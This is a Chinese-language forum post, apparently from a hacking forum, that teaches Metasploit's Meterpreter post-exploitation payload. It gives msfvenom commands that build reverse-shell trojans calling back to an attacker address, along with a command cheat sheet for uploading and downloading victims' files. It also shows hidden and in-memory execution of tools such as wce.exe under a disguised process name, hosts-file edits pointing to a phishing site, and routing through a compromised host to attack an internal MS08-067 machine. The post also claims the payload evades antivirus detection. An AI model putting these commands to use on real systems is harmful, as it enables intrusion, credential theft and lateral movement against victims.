標題:Meterpreter命令詳解

taibeihacker

Moderator

0x01初识Meterpreter​

1.1.什麼是Meterpreter
Meterpreter是Metasploit框架中的一個擴展模塊,作為溢出成功以後的攻擊載荷使用,攻擊載荷在溢出攻擊成功以後給我們返回一個控制通道。使用它作為攻擊載荷能夠獲得目標系統的一個Meterpreter shell的鏈接。 Meterpreter shell作為滲透模塊有很多有用的功能,比如添加一個用戶、隱藏一些東西、打開shell、得到用戶密碼、上傳下載遠程主機的文件、運行cmd.exe、捕捉屏幕、得到遠程控制權、捕獲按鍵信息、清除應用程序、顯示遠程主機的系統信息、顯示遠程機器的網絡接口和IP地址等信息。另外Meterpreter能夠躲避入侵檢測系統。在遠程主機上隱藏自己,它不改變系統硬盤中的文件,因此HIDS[基於主機的入侵檢測系統]很難對它做出響應。此外它在運行的時候系統時間是變化的,所以跟踪它或者終止它對於一個有經驗的人也會變得非常困難。
最後,Meterpreter還可以簡化任務創建多個會話。可以來利用這些會話進行滲透。在Metasploit Framework中,Meterpreter是一種後滲透工具,它屬於一種在運行過程中可通過網絡進行功能擴展的動態可擴展型Payload。這種工具是基於“內存DLL注入”理念實現的,它能夠通過創建一個新進程並調用注入的DLL來讓目標系統運行注入的DLL文件。其中,攻擊者與目標設備中Meterpreter的通信是通過Stager套接字實現的meterpreter作為後滲透模塊有多種類型,並且命令由核心命令和擴展庫命令組成,極大的豐富了攻擊方式。
需要說明的meterpreter在漏洞利用成功後會發送第二階段的代碼和meterpreter服務器dll,所以在網絡不穩定的情況下經常出現沒有可執行命令,或者會話建立執行help之後發現缺少命令。 連上vpn又在內網中使用psexec和bind_tcp的時候經常會出現這種情況
1.2.Meterpreter技術優勢
Metasploit提供了各個主流平台的Meterpreter版本,包括Windows、Linux,同時支持x86、x64平台,另外,Meterpreter還提供了基於PHP和Java語言的實現。 Meterpreter的工作模式是純內存的,好處是啟動隱藏,很難被殺毒軟件監測到。不需要訪問目標主機磁盤,所以也沒什麼入侵的痕跡。除上述外,Meterpreter還支持Ruby腳本形式的擴展。所以Ruby語言還很有必要。

0x02 Meterpreter中常用的反弹类型​

1.reverse_tcp
這是一個基於TCP的反向鏈接反彈shell, 使用起來很穩定
(1)Linux:
使用下列命令生成一個Linux下反彈shell木馬:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o shell
看上圖,我們可以看見目錄下已經成功生成木馬文件isshell。然後我們給文件加上可執行權限。然後我們打開Metasploit,使用模塊handler,設置payload,注意:這裡設置的payload要和我們生成木馬所使用的payload一樣。
2rlyaok43kx23590.gif

設置下地址和端口,我們就開始監聽了
obqvnktw4wq23591.gif

這邊運行一下我們的反彈shell木馬,可以發現成功反彈回shell了
(2)Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe
这里写图片描述

这里写图片描述

反向連接shell,使用起來很穩定,需要設置LHOST
2.reverse_http
基於http方式的反向連接,在網速慢的情況下不穩定。
payload:/windows/meterpreter/reverse_http
3.reverse_https
基於https方式的反向連接,在網速慢的情況下不穩定, https如果反彈沒有收到數據,可以將監聽端口換成443試試
payload:/windows/meterpreter/reverse_https
4.bind_tcp
這是一個基於TCP的正向連接shell,因為在內網跨網段時無法連接到attack的機器,所以在內網中經常會使用,不需要設置LHOST。
使用下列命令生成木馬:
msfvenom -p linux/x86/meterpreter/bind_tcp
lport=4444 -f elf -o shell
同樣道理加權限運行,不演示了。
r31toe3ml2523594.gif

這裡註意,我們設置的IP地址和端口就是目標機的。因為這是我們主動來連接它。

0x03 相关Payload​

Payload中包含有需要在遠程系統中運行的惡意代碼,而在Metasploit中Payload是一種特殊模塊,它們能夠以漏洞利用模塊運行,並能夠利用目標系統中的安全漏洞實施攻擊。簡而言之,這種漏洞利用模塊可以訪問目標系統,而其中的代碼定義了Payload在目標系統中的行為。
Metasploit中的Payload模塊主要有以下三種類型:
-Single
-Stager
-Stage
Single是一種完全獨立的Payload,而且使用起來就像運行calc.exe一樣簡單,例如添加一個系統用戶或刪除一份文件。由於Single
Payload是完全獨立的,因此它們有可能會被類似netcat這樣的非metasploit處理工具所捕捉到。
Stager這種Payload負責建立目標用戶與攻擊者之間的網絡連接,並下載額外的組件或應用程序。一種常見的Stagers Payload就是reverse_tcp,它可以讓目標系統與攻擊者建立一條tcp連接。另一種常見的是bind_tcp,它可以讓目標系統開啟一個tcp監聽器,而攻擊者隨時可以與目標系統進行通信。
Stage是Stager
Payload下載的一種Payload組件,這種Payload可以提供更加高級的功能,而且沒有大小限制。
在Metasploit中,我們可以通過Payload的名稱和使用格式來推斷它的類型:
Single Payload的格式為target/single
Stager/Stage Payload的格式為target/stage/stager
當我們在Metasploit中執行“show payloads”命令之後,它會給我們顯示一個可使用的Payload列表:
手把手教你如何利用Meterpreter渗透Windows系统

在這個列表中,windows/powershell_bind_tcp就是一個Single Payload,它不包含Stage Payload。而windows/x64/meterpreter/reverse_tcp則由一個Stager
Payload(reverse_tcp)和一個Stage Payload(meterpreter)組成。

0x04 Meterpreter的常用命令​

1.基本命令
help# 查看Meterpreter幫助
background#返回,把meterpreter後台掛起
bgkill# 殺死一個背景meterpreter 腳本
bglist#提供所有正在運行的後台腳本的列表
bgrun#作為一個後台線程運行腳本
channel#顯示活動頻道
sessions -i number # 與會話進行交互,number表示第n個session,使用session -i 連接到指定序號的meterpreter會話已繼續利用
sesssions -k number
#與會話進行交互
close# 關閉通道
exit# 終止meterpreter 會話
quit# 終止meterpreter 會話
interact id #切換進一個信道
run#執行一個已有的模塊,這裡要說的是輸入run後按兩下tab,會列出所有的已有的腳本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
irb# 進入Ruby 腳本模式
read# 從通道讀取數據
write# 將數據寫入到一個通道
run和bgrun# 前台和後台執行以後它選定的meterpreter 腳本
use# 加載meterpreter 的擴展
load/use#加載模塊
Resource#執行一個已有的rc腳本
2.文件系統命令
cat c:\boot.ini#查看文件內容,文件必須存在
del c:\boot.ini #刪除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上傳文件到目標機主上,如upload setup.exe
C:\\windows\\system32\
download nimeia.txt /root/Desktop/# 下載文件到本機上如:download C:\\boot.ini /root/或者download
C:\\'ProgramFiles'\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db
/root/
edit c:\boot.ini #
編輯文件
getlwd#打印本地目錄
getwd#打印工作目錄
lcd#更改本地目錄
ls#列出在當前目錄中的文件列表
lpwd#打印本地目錄
pwd#輸出工作目錄
cd c:\\ #進入目錄文件下
rm file #刪除文件
mkdir dier #在受害者係統上的創建目錄
rmdir#受害者係統上刪除目錄
dir#列出目標主機的文件和文件夾信息
mv#修改目標主機上的文件名
search -d d:\\www -f web.config #search 文件,如search -d c:\\ -f*.doc
meterpreter search -f autoexec.bat #搜索文件
meterpreter search -f sea*.bat c:\\xamp\\
enumdesktops #用戶登錄數
(1)下載文件
使用命令“download +file path”,將下載目標機器的相對應權限的任何路徑下的文件
ydbkim43mq423596.gif

(2)上傳文件
“upload”命令為上傳文件到我們的目標機器,在圖中我們上傳了ll.txt到目標機器的c:\pp\下。
lyvxvcjmp5523597.gif

(3)查看文件
“cat filename”在當前目錄下查看文件內容,輸入命令後便會返回給我們所查看文件的內容。
2exk5ve0pgv23598.gif

(4)切換、查詢當前路徑
“pwd”命令將查詢當前在dos命令下的路徑,“cd”命令可以改變當前路徑,如下圖中cd .為切換到當前路徑下的上一目錄。
jdhpyt2t0ok23599.gif

(5)“sysinfo”命令
“sysinfo”命令為顯示遠程主機的系統信息,顯示計算機、系統信息、結構、語言等信息。可以看到遠程主機的操作系統是windows XP service pack 2,sp2這個系統有很多漏洞。
mt4i1gola3i23600.gif

(6)execute命令
“execute”命令為目標主機上執行一個命令,其中“execute -h”顯示幫助信息。 -f為執行要運行的命令,
ttnghg33gsx23601.gif

在目標主機上運行某個程序,例如我們目前註入進程到explorer.exe後,運行用戶為超級管理administrator
我們運行一下目標主機上的記事本程序
execute -fnotepad.exe
gvsj4u0e1wt23602.gif

目標主機上立馬彈出來一個記事本程序,如下圖:
jans2zekser23604.gif
這樣太明顯,如果希望隱藏後台執行,加參數-H
execute -H -fnotepad.exe
此時目標主機桌面沒反應,但我們在meterpreter會話上使用ps命令看到了
uujwqu51ouz23605.gif

再看一個,我們運行目標主機上的cmd.exe程序,並以隱藏的方式直接交互到我們的meterpreter會話上
命令:
execute -H -i -fcmd.exe
foicxfusnl123606.gif

這達到的效果就跟使用shell命令一樣了
再來一個,在目標主機內存中直接執行我們攻擊主機上的攻擊程序,比如wce.exe,又比如木馬等,這樣可以避免攻擊程序存儲到目標主機硬盤上被發現或被查殺。
execute -H -m -d notepad.exe-f wce.exe -a
'-owce.txt'
-d 在目標主機執行時顯示的進程名稱(用以偽裝)
-m 直接從內存中執行
'-owce.txt'是wce.exe的運行參數
(7)idletime命令
“idletime”命令為顯示目標機器截止到當前無操作命令的時間。圖中的顯示意思為目標主機有操作是在9分19秒之前。
4kzyxpvnprd23607.gif

(8)search命令
“search“命令在目標主機搜索特定的文件。該命令能夠通過搜索整個系統或特定的文件夾。
使用“search –h”命令來查看search命令的幫助信息:
下圖中,“search –f aa.txt”命令為查看目標機中在當前目錄以及當前目錄的子目錄中有沒有aa.txt這個文件,若有則顯示出其路徑。
“search –f l*.txt c:\\pp”為顯示出c:\\pp下及pp文件夾下所有的子文件下所有以l開頭的txt文件,若有此類文件,則返回其路徑和其大小。
(9)edit命令
調用vi編輯器,對目標主機上的文件修改
例如修改目標主機上的hosts文件,使得目標主機訪問baidu時去到準備好的釣魚網站(僅限實驗用途)
xxwekpvkn2323608.gif

在目標主機上ping www.baidu.com,出來的目標IP就是我們修改的192.168.1.1了
ehgnbnecnca23609.gif

3.網絡命令
ipconfig/ifconfig#顯示網絡接口的關鍵信息,包括IP 地址
portfwd -h
用法:portfwd[-h][add|delete|list|flush][args]
選項:
-L opt要監聽的本地主機(可選)
-h幫助橫幅
-l opt要監聽的本地端口
-p opt連接到的遠程端口
-r opt要連接到的遠程主機
portfwd add -l
4444 -p 3389 -r 192.168.1.102 # 端口轉發,本機監聽4444,把目標機3389轉到本機4444
netstat -an | grep“4444' #查看指定端口開放情況
rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使用rdesktop來連接桌面,-u 用戶名-p 密碼
rdesktop 127.1.1.0:4444 #需要輸入用戶名和密碼遠程連接
route#查看或修改受害者路由表
route add 192.168.1.0 255.255.255.0 1 #添加動態路由
route print #路由表輸出
runget_local_subnets #目標主機的內網IP段情況
Arp #看ARP緩衝表
Getproxy #獲取代理
(1)portfwd
網絡命令則有列出ip信息(ipconfig),展示修改路由表(route),還有端口轉發(portfwd)。 比如portfwd:
enter image description here

在建立規則之後就可以連接本地3344端口,這樣遠程的3389端口就轉發出來了。
(2)route
使用route命令可以藉助meterpreter會話進一步msf滲透內網,我們已經拿下並產生meterpreter反彈會話的主機可能出於內網之中,外有一層NAT,我們無法直接向其內網中其他主機發起攻擊,則可以藉助已產生的meterpreter會話作為路由跳板,攻擊內網其它主機。
可以先使用runget_local_subnets命令查看已拿下的目標主機的內網IP段情況
命令:run get_local_subnets
如下圖:
hrvkaadi1ug23611.gif

其內網有192.168.249.0/24網段,我們無法直接訪問
下面做一條路由,下一跳為當前拿下主機的sessionid(目前為5),即所有對249網段的攻擊流量都通過已滲透的這台目標主機的meterpreter會話來傳遞。
命令:route add 192.168.249.0
255.255.255.0 5
再使用route print查看一下路由表,效果如下圖:
4zzsdixtuat23612.gif

最後我們就可以通過這條路由,以當前拿下的主機meterpreter作為路由跳板攻擊249網段中另一台有ms08-067漏洞的主機,獲得反彈會話成功順利拿下了另一台內網主機192.168.249.1,如下圖:
bfgr3smxnsg23613.gif

大多時候我們獲取到的meterpr
 
返回
上方